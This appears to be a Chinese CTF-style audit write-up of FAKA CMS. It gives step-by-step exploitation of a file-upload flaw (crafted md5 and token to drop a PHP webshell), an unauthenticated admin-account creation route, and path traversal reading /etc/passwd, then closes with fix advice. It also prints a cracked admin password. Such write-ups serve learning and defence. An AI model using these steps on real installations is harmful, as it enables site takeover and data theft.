记一次(FAKA)CMS漏洞审计
字数 1061 2025-08-03 10:57:28
FAKA CMS漏洞审计与分析报告
1. 初始信息收集与后台登录
1.1 发现后台登录地址
- 通过CTF题目环境发现FAKA CMS后台登录入口
- 获取到系统SQL数据库文件,包含用户表数据
1.2 数据库分析
-- 导入SQL文件方法
source /path/to/sql_file.sql
-- 查看系统用户表
SELECT * FROM system_user;
- 获取到管理员凭证:
admin/cccbbb123(MD5解密后)
2. 文件上传漏洞分析
2.1 漏洞位置
- 后台管理界面存在文件上传功能点
- 上传路径构造存在缺陷
2.2 关键代码分析
// upstate函数处理逻辑
$filename = join('/', str_split($post['md5'], 16)) . ".{$ext}";
$token = md5($filename . session_id());
// upload函数处理逻辑
$md5 = str_split($post['md5'], 16);
$filename = join('/', $md5) . ".{$ext}";
2.3 漏洞利用步骤
-
构造恶意MD5值:
- 原始MD5:
1dd114c26d2e32d9afee242d946cd61f - 修改为:
1dd114c26d2e32d9afee242d946c.php(保持32位长度)
- 原始MD5:
-
生成有效token:
$md5 = "e52360073082563ea6d4a31029d7.php";
$md5 = str_split($md5,16);
$ext = "jpg";
$filename = join('/', $md5) . ".{$ext}";
echo md5($filename); // 00ee0c7f512728e8529cfd35d6f77ad4
-
上传图片马:
- 使用图片马绕过内容检测
- 修改上传请求中的md5和token参数
-
访问上传文件:
- 路径格式:
/static/upload/{md5_part1}/{md5_part2} - 示例:
/static/upload/e52360073082563e/a6d4a31029d7.php
- 路径格式:
3. 未授权访问漏洞
3.1 漏洞位置
/admin/index/info路由未做权限验证- 可未授权添加系统用户
3.2 关键代码分析
public function info()
{
if (intval($this->request->request('id')) === intval(session('user.id'))) {
return $this->_form('SystemUser', 'user/form');
}
$this->error('只能修改当前用户的资料!');
}
3.3 漏洞利用步骤
-
直接访问
/admin/index/info -
添加新用户时通过POST添加
authorize=3参数- 普通用户:无authorize参数
- 管理员:authorize=3
-
使用新创建的管理员账户登录系统
4. 任意文件下载漏洞
4.1 漏洞位置
- 系统备份功能存在路径遍历
- 下载路径参数未过滤
4.2 漏洞利用
-
抓取备份下载请求
-
修改文件路径参数进行目录遍历
- 示例:
/path/to/backup/../../etc/passwd
- 示例:
-
成功下载系统敏感文件
5. 漏洞修复建议
5.1 文件上传漏洞修复
- 严格限制上传文件后缀白名单
- 对上传文件名进行强制重命名
- 增加文件内容检测机制
5.2 未授权访问修复
- 为所有管理接口添加权限验证
- 使用中间件统一检查管理员权限
5.3 任意文件下载修复
- 限制可下载的文件目录
- 对文件路径参数进行规范化处理
- 禁止路径遍历符号(../)
6. 审计总结
本次审计发现了FAKA CMS中三个高危漏洞:
- 文件上传漏洞(可上传PHP木马)
- 未授权访问漏洞(可添加管理员账户)
- 任意文件下载漏洞(可读取系统敏感文件)
漏洞利用链完整,可导致系统完全沦陷。建议用户及时更新系统或按照修复建议进行修补。